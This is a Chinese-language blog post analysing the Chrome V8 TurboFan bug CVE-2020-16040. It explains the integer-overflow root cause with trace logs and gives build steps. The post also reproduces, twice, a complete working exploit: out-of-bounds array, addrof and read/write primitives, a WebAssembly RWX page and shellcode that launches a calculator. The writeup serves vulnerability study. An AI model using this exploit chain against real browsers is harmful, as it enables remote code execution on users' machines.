-
-
[原创]chrome v8漏洞CVE-2020-16040浅析
-
发表于: 2024-5-29 16:22 17130
-
作者: coolboy
CVE-2020-16040是chrome v8 turbofan引擎的一个漏洞,具体发生在turbofan 的simplified-lowering阶段,错误的将加法的结果判定为Signed32类型,导致整数溢出,从而进一步利用漏洞实现RCE。这是一个系列文章,本文是第四篇。
turbofan根据静态类型推测会得出表达式值的范围,称之为representation。用--trace-representation参数执行d8,可以看到日志。示例如下:
representation有什么作用呢?它给优化器做优化提供依据。如上,通过representation为Range(-1, 0),知道z的取值范围为(-1,0),因此当判断z > 0的时候知道永远不可能为真,于是优化引擎可以直接删除这个分支,从而优化代码。
执行结果如下:
解释一下:
漏洞在于turbofan 的Simplified Lowering阶段在处理SpeculativeSafeIntegerAdd函数时发生了错误。见下面:
表示turbofan优化时处理加法,两个数字都是kWord32类型,相加之和的类型限制在Signed32,即[-2147483648, 2147483647]之间。这就导致了bug,因为两个数相加结果可能超过这个范围。比如:2147483647 + 1,结果为2147483648,不在[-2147483648, 2147483647]范围,而VisitSpeculativeIntegerAdditiveOp将结果限定在Type::Signed32()类型,导致了bug。考虑下面情况:
执行结果:
原因如下:
使用参数--allow-natives-syntax运行d8执行%DebugPrint(arr);可以得到arr数组打印结果如下:
可以看到长度确实为-1。
Analyzing CVE-2020-16040
Chrome Exploitation
# 如果编译失败,考虑是网络的原因。推荐解决办法:境外服务器编译。
git clone https:
//chromium
.googlesource.com
/chromium/tools/depot_tools
.git
export
PATH=
/path/to/depot_tools
:$PATH
mkdir
~
/v8
cd
~
/v8
fetch v8
cd
v8
# 漏洞补丁前一笔提交
git checkout 8.9.40
gclient
sync
alias
gm=~
/v8/tools/dev/gm
.py
gm x64.release
gm x64.debug
# test
.
/out/x64
.release
/d8
--help
# 如果编译失败,考虑是网络的原因。推荐解决办法:境外服务器编译。
git clone https:
//chromium
.googlesource.com
/chromium/tools/depot_tools
.git
export
PATH=
/path/to/depot_tools
:$PATH
mkdir
~
/v8
cd
~
/v8
fetch v8
cd
v8
# 漏洞补丁前一笔提交
git checkout 8.9.40
gclient
sync
alias
gm=~
/v8/tools/dev/gm
.py
gm x64.release
gm x64.debug
# test
.
/out/x64
.release
/d8
--help
/*
CVE-2020-16040
HEAD @ 2781d585038b97ed375f2ec06651dc9e5e04f916
409K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6T1N6h3N6K6i4K6u0W2j5$3S2J5L8$3#2A6N6h3#2Q4x3X3g2G2M7X3N6Q4x3V1k6H3i4K6u0r3j5$3S2J5L8$3#2A6N6h3#2Q4x3V1k6A6M7%4y4#2k6i4y4Q4x3V1k6V1k6i4c8S2K9h3I4Q4x3@1k6A6k6q4)9K6c8o6p5I4y4e0l9$3y4o6V1`.
e0eK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6U0N6X3g2Q4x3X3g2E0K9i4c8J5k6g2)9J5k6h3!0J5k6#2)9J5c8X3y4Y4K9g2)9J5k6r3u0A6L8W2)9J5c8X3y4$3k6h3&6S2L8h3g2Q4x3X3g2U0k6$3W2Q4x3@1k6F1j5h3#2W2i4K6y4p5j5%4k6W2i4K6u0V1x3U0l9J5x3q4)9J5k6o6p5$3x3o6b7H3
*/
var
bs =
new
ArrayBuffer(8);
var
fs =
new
Float64Array(bs);
var
is =
new
BigUint64Array(bs);
function
ftoi(val) {
fs[0] = val;
return
is[0];
}
function
itof(val) {
is[0] = val;
return
fs[0];
}
function
foo(x) {
let y = 0x7fffffff;
if
(x == NaN) y = NaN;
if
(x) y = -1;
let z = y + 1;
// [Static type: Range(0, 2147483648), Feedback type: Range(0, 2147483647)]
z >>= 31;
// Static type: Range(-1, 0), Feedback type: Range(0, 0)]
z = Math.sign(z | 1);
// [Static type: Range(-1, 2147483647), Feedback type: Range(1, 1)]
// [Static type: Range(-1, 1), Feedback type: Range(1, 1)]
z = 0x7fffffff + 1 - z;
// [Static type: Range(2147483647, 2147483649), Feedback type: Range(2147483647, 2147483647)]
let i = x ? 0 : z;
// [Static type: Range(0, 2147483649), Feedback type: Range(0, 2147483647)]
i = 0 - Math.sign(i);
// [Static type: Range(0, 1)]
// [Static type: Range(-1, 0)]
// console.log(i);
let a =
new
Array(i);
a.shift();
let b = [1.1, 2.2, 3.3];
return
[a, b];
}
for
(let i = 0; i < 100000; i++)
foo(
true
);
let x = foo(
false
);
let arr = x[0];
let oob = x[1];
// %DebugPrint(arr);
// %DebugPrint(oob);
// %SystemBreak();
arr[16] = 1337;
/* flt.elements @ oob[12] */
/* obj.elements @ oob[24] */
let flt = [1.1];
let tmp = {a: 1};
let obj = [tmp];
function
addrof(o) {
let a = ftoi(oob[24]) & 0xffffffffn;
let b = ftoi(oob[12]) >> 32n;
oob[12] = itof((b << 32n) + a);
obj[0] = o;
return
(ftoi(flt[0]) & 0xffffffffn) - 1n;
}
function
read(p) {
let a = ftoi(oob[12]) >> 32n;
oob[12] = itof((a << 32n) + p - 8n + 1n);
return
ftoi(flt[0]);
}
function
write(p, x) {
let a = ftoi(oob[12]) >> 32n;
oob[12] = itof((a << 32n) + p - 8n + 1n);
flt[0] = itof(x);
}
let wasm =
new
Uint8Array([
0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00, 0x01, 0x85, 0x80, 0x80, 0x80,
0x00, 0x01, 0x60, 0x00, 0x01, 0x7f, 0x03, 0x82, 0x80, 0x80, 0x80, 0x00, 0x01,
0x00, 0x04, 0x84, 0x80, 0x80, 0x80, 0x00, 0x01, 0x70, 0x00, 0x00, 0x05, 0x83,
0x80, 0x80, 0x80, 0x00, 0x01, 0x00, 0x01, 0x06, 0x81, 0x80, 0x80, 0x80, 0x00,
0x00, 0x07, 0x91, 0x80, 0x80, 0x80, 0x00, 0x02, 0x06, 0x6d, 0x65, 0x6d, 0x6f,
0x72, 0x79, 0x02, 0x00, 0x04, 0x6d, 0x61, 0x69, 0x6e, 0x00, 0x00, 0x0a, 0x8a,
0x80, 0x80, 0x80, 0x00, 0x01, 0x84, 0x80, 0x80, 0x80, 0x00, 0x00, 0x41, 0x2a,
0x0b
]);
let module =
new
WebAssembly.Module(wasm);
let instance =
new
WebAssembly.Instance(module);
let entry = instance.exports.main;
let rwx = read(addrof(instance) + 0x68n);
let shellcode =
new
Uint8Array([
0x48, 0xb8, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x99, 0x50, 0x54,
0x5f, 0x52, 0x66, 0x68, 0x2d, 0x63, 0x54, 0x5e, 0x52, 0xe8, 0x15, 0x00, 0x00,
0x00, 0x44, 0x49, 0x53, 0x50, 0x4c, 0x41, 0x59, 0x3d, 0x27, 0x3a, 0x30, 0x2e,
0x30, 0x27, 0x20, 0x78, 0x63, 0x61, 0x6c, 0x63, 0x00, 0x56, 0x57, 0x54, 0x5e,
0x6a, 0x3b, 0x58, 0x0f, 0x05
]);
let buf =
new
ArrayBuffer(shellcode.length);
let view =
new
DataView(buf);
write(addrof(buf) + 0x14n, rwx);
for
(let i = 0; i < shellcode.length; i++)
view.setUint8(i, shellcode[i]);
entry();
/*
CVE-2020-16040
HEAD @ 2781d585038b97ed375f2ec06651dc9e5e04f916
409K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6T1N6h3N6K6i4K6u0W2j5$3S2J5L8$3#2A6N6h3#2Q4x3X3g2G2M7X3N6Q4x3V1k6H3i4K6u0r3j5$3S2J5L8$3#2A6N6h3#2Q4x3V1k6A6M7%4y4#2k6i4y4Q4x3V1k6V1k6i4c8S2K9h3I4Q4x3@1k6A6k6q4)9K6c8o6p5I4y4e0l9$3y4o6V1`.
e0eK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6U0N6X3g2Q4x3X3g2E0K9i4c8J5k6g2)9J5k6h3!0J5k6#2)9J5c8X3y4Y4K9g2)9J5k6r3u0A6L8W2)9J5c8X3y4$3k6h3&6S2L8h3g2Q4x3X3g2U0k6$3W2Q4x3@1k6F1j5h3#2W2i4K6y4p5j5%4k6W2i4K6u0V1x3U0l9J5x3q4)9J5k6o6p5$3x3o6b7H3
*/
var
bs =
new
ArrayBuffer(8);
var
fs =
new
Float64Array(bs);
var
is =
new
BigUint64Array(bs);
function
ftoi(val) {
fs[0] = val;
return
is[0];
}
function
itof(val) {
is[0] = val;
return
fs[0];
}
function
foo(x) {
let y = 0x7fffffff;
if
(x == NaN) y = NaN;
if
(x) y = -1;
let z = y + 1;
// [Static type: Range(0, 2147483648), Feedback type: Range(0, 2147483647)]
z >>= 31;
// Static type: Range(-1, 0), Feedback type: Range(0, 0)]
z = Math.sign(z | 1);
// [Static type: Range(-1, 2147483647), Feedback type: Range(1, 1)]
// [Static type: Range(-1, 1), Feedback type: Range(1, 1)]
z = 0x7fffffff + 1 - z;
// [Static type: Range(2147483647, 2147483649), Feedback type: Range(2147483647, 2147483647)]
let i = x ? 0 : z;
// [Static type: Range(0, 2147483649), Feedback type: Range(0, 2147483647)]
i = 0 - Math.sign(i);
// [Static type: Range(0, 1)]
// [Static type: Range(-1, 0)]
// console.log(i);
let a =
new
Array(i);
a.shift();
let b = [1.1, 2.2, 3.3];
return
[a, b];
}
for
(let i = 0; i < 100000; i++)
foo(
true
);
let x = foo(
false
);
let arr = x[0];
let oob = x[1];
// %DebugPrint(arr);
// %DebugPrint(oob);
// %SystemBreak();
arr[16] = 1337;
/* flt.elements @ oob[12] */
/* obj.elements @ oob[24] */
let flt = [1.1];
let tmp = {a: 1};
let obj = [tmp];
function
addrof(o) {
let a = ftoi(oob[24]) & 0xffffffffn;
let b = ftoi(oob[12]) >> 32n;
oob[12] = itof((b << 32n) + a);
obj[0] = o;
return
(ftoi(flt[0]) & 0xffffffffn) - 1n;
}
function
read(p) {
let a = ftoi(oob[12]) >> 32n;
oob[12] = itof((a << 32n) + p - 8n + 1n);
return
ftoi(flt[0]);
}
function
write(p, x) {
let a = ftoi(oob[12]) >> 32n;
oob[12] = itof((a << 32n) + p - 8n + 1n);
flt[0] = itof(x);
}
let wasm =
new
Uint8Array([
0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00, 0x01, 0x85, 0x80, 0x80, 0x80,
0x00, 0x01, 0x60, 0x00, 0x01, 0x7f, 0x03, 0x82, 0x80, 0x80, 0x80, 0x00, 0x01,
0x00, 0x04, 0x84, 0x80, 0x80, 0x80, 0x00, 0x01, 0x70, 0x00, 0x00, 0x05, 0x83,
0x80, 0x80, 0x80, 0x00, 0x01, 0x00, 0x01, 0x06, 0x81, 0x80, 0x80, 0x80, 0x00,
0x00, 0x07, 0x91, 0x80, 0x80, 0x80, 0x00, 0x02, 0x06, 0x6d, 0x65, 0x6d, 0x6f,
0x72, 0x79, 0x02, 0x00, 0x04, 0x6d, 0x61, 0x69, 0x6e, 0x00, 0x00, 0x0a, 0x8a,
0x80, 0x80, 0x80, 0x00, 0x01, 0x84, 0x80, 0x80, 0x80, 0x00, 0x00, 0x41, 0x2a,
0x0b
]);
let module =
new
WebAssembly.Module(wasm);
let instance =
new
WebAssembly.Instance(module);
let entry = instance.exports.main;
let rwx = read(addrof(instance) + 0x68n);
let shellcode =
new
Uint8Array([
0x48, 0xb8, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x99, 0x50, 0x54,
0x5f, 0x52, 0x66, 0x68, 0x2d, 0x63, 0x54, 0x5e, 0x52, 0xe8, 0x15, 0x00, 0x00,
0x00, 0x44, 0x49, 0x53, 0x50, 0x4c, 0x41, 0x59, 0x3d, 0x27, 0x3a, 0x30, 0x2e,
0x30, 0x27, 0x20, 0x78, 0x63, 0x61, 0x6c, 0x63, 0x00, 0x56, 0x57, 0x54, 0x5e,
0x6a, 0x3b, 0x58, 0x0f, 0x05
]);
let buf =
new
ArrayBuffer(shellcode.length);
let view =
new
DataView(buf);
write(addrof(buf) + 0x14n, rwx);
for
(let i = 0; i < shellcode.length; i++)
view.setUint8(i, shellcode[i]);
entry();
$ .
/out/x64
.release
/d8
poc.js
# 执行计算器 calc
C-style arbitrary precision calculator (version 2.12.7.2)
Calc is
open
software. For license details
type
: help copyright
[Type
"exit"
to
exit
, or
"help"
for
help.]
$ .
/out/x64
.release
/d8
poc.js
# 执行计算器 calc
C-style arbitrary precision calculator (version 2.12.7.2)
Calc is
open
software. For license details
type
: help copyright
[Type
"exit"
to
exit
, or
"help"
for
help.]
# ./d8 --trace-representation test.js
function
foo(x) {
let y = 0x7fffffff;
// [Static type: (Range(2147483647, 2147483647))]
if
(x == NaN) y = NaN;
// Phi[kRepTagged](#14:NumberConstant, #128:NumberConstant, #26:Merge) [Static type: (NaN | Range(2147483647, 2147483647))]
if
(x) y = -1;
// Phi[kRepTagged](#32:Phi, #38:NumberConstant, #36:Merge) [Static type: (NaN | Range(-1, 2147483647))]
let z = y + 1;
// SpeculativeSafeIntegerAdd[SignedSmall](#39:Phi, #42:NumberConstant, #22:SpeculativeNumberEqual, #36:Merge) [Static type: Range(0, 2147483648), Feedback type: Range(0, 2147483647)]
z >>= 31;
// SpeculativeNumberShiftRight[SignedSmall](#43:SpeculativeSafeIntegerAdd, #44:NumberConstant, #43:SpeculativeSafeIntegerAdd, #36:Merge) [Static type: Range(-1, 0), Feedback type: Range(0, 0)]
if
(z > 0) {
// do something
}
}
# ./d8 --trace-representation test.js
function
foo(x) {
let y = 0x7fffffff;
// [Static type: (Range(2147483647, 2147483647))]
if
(x == NaN) y = NaN;
// Phi[kRepTagged](#14:NumberConstant, #128:NumberConstant, #26:Merge) [Static type: (NaN | Range(2147483647, 2147483647))]
if
(x) y = -1;
// Phi[kRepTagged](#32:Phi, #38:NumberConstant, #36:Merge) [Static type: (NaN | Range(-1, 2147483647))]
let z = y + 1;
// SpeculativeSafeIntegerAdd[SignedSmall](#39:Phi, #42:NumberConstant, #22:SpeculativeNumberEqual, #36:Merge) [Static type: Range(0, 2147483648), Feedback type: Range(0, 2147483647)]
z >>= 31;
// SpeculativeNumberShiftRight[SignedSmall](#43:SpeculativeSafeIntegerAdd, #44:NumberConstant, #43:SpeculativeSafeIntegerAdd, #36:Merge) [Static type: Range(-1, 0), Feedback type: Range(0, 0)]
if
(z > 0) {
// do something
}
}
// ./d8 --trace-representation --trace-deopt test.js
x = {}
function
foo() {
console.log(x.v);
}
x.v = 1;
for
(i = 0; i < 10000; i++) {
console.log(i +
":"
);
foo();
}
x.v = 2;
// ./d8 --trace-representation --trace-deopt test.js
x = {}
function
foo() {
console.log(x.v);
}
x.v = 1;
for
(i = 0; i < 10000; i++) {
console.log(i +
":"
);
foo();
}
x.v = 2;
0:
1
1:
1
...
7578:
1
Marking
#19: Phi as needing revisit due to #82: Call
Marking
#16: Loop as needing revisit due to #95: JSStackCheck
Marking
#22: Checkpoint as needing revisit due to #17: EffectPhi
--{Propagate phase}--
visit
#99: End (trunc: no-value-use)
initial
#20: no-value-use
initial
#199: no-value-use
initial
#200: no-value-use
visit
#200: Return (trunc: no-value-use)
...
7579:
1
...
9999:
1
[bailout (kind: deopt-soft, reason: Insufficient
type
feedback
for
generic named access): begin. deoptimizing 0x1db60825287d <JSFunction (sfi = 0x1db608252699)>, opt
id
1, node
id
101, bailout
id
8, FP to SP delta 88, caller SP 0x7ffd4755fef8, pc 0x1db6000846a6]
0:
1
1:
1
...
7578:
1
Marking
#19: Phi as needing revisit due to #82: Call
Marking
#16: Loop as needing revisit due to #95: JSStackCheck
Marking
#22: Checkpoint as needing revisit due to #17: EffectPhi
--{Propagate phase}--
visit
#99: End (trunc: no-value-use)
initial
#20: no-value-use
initial
#199: no-value-use
initial
#200: no-value-use
visit
#200: Return (trunc: no-value-use)
...
7579:
1
...
9999:
1
[bailout (kind: deopt-soft, reason: Insufficient
type
feedback
for
generic named access): begin. deoptimizing 0x1db60825287d <JSFunction (sfi = 0x1db608252699)>, opt
id
1, node
id
101, bailout
id
8, FP to SP delta 88, caller SP 0x7ffd4755fef8, pc 0x1db6000846a6]
void
VisitSpeculativeIntegerAdditiveOp(Node* node, Truncation truncation,
SimplifiedLowering* lowering) {
...
VisitBinop<T>(node, left_use, right_use, MachineRepresentation::kWord32,
Type::Signed32());
...
}
void
VisitSpeculativeIntegerAdditiveOp(Node* node, Truncation truncation,
SimplifiedLowering* lowering) {
...
VisitBinop<T>(node, left_use, right_use, MachineRepresentation::kWord32,
Type::Signed32());
...
}
function
foo(a) {
// ./d8 --trace-representation --trace-deopt test.js
var
y = 0x7fffffff;
if
(a == NaN) y = NaN;
if
(a) y = -1;
const z = (y + 1)|0;
console.log(z);
if
(z < 0) {
console.log(
'< 0'
);
}
else
{
console.log(
'>= 0'
);
}
}
foo(
true
);
foo(
false
);
console.log(
"================"
);
%PrepareFunctionForOptimization(foo);
foo(
true
);
%OptimizeFunctionOnNextCall(foo);
foo(
false
);
function
foo(a) {
// ./d8 --trace-representation --trace-deopt test.js
var
y = 0x7fffffff;
if
(a == NaN) y = NaN;
if
(a) y = -1;
const z = (y + 1)|0;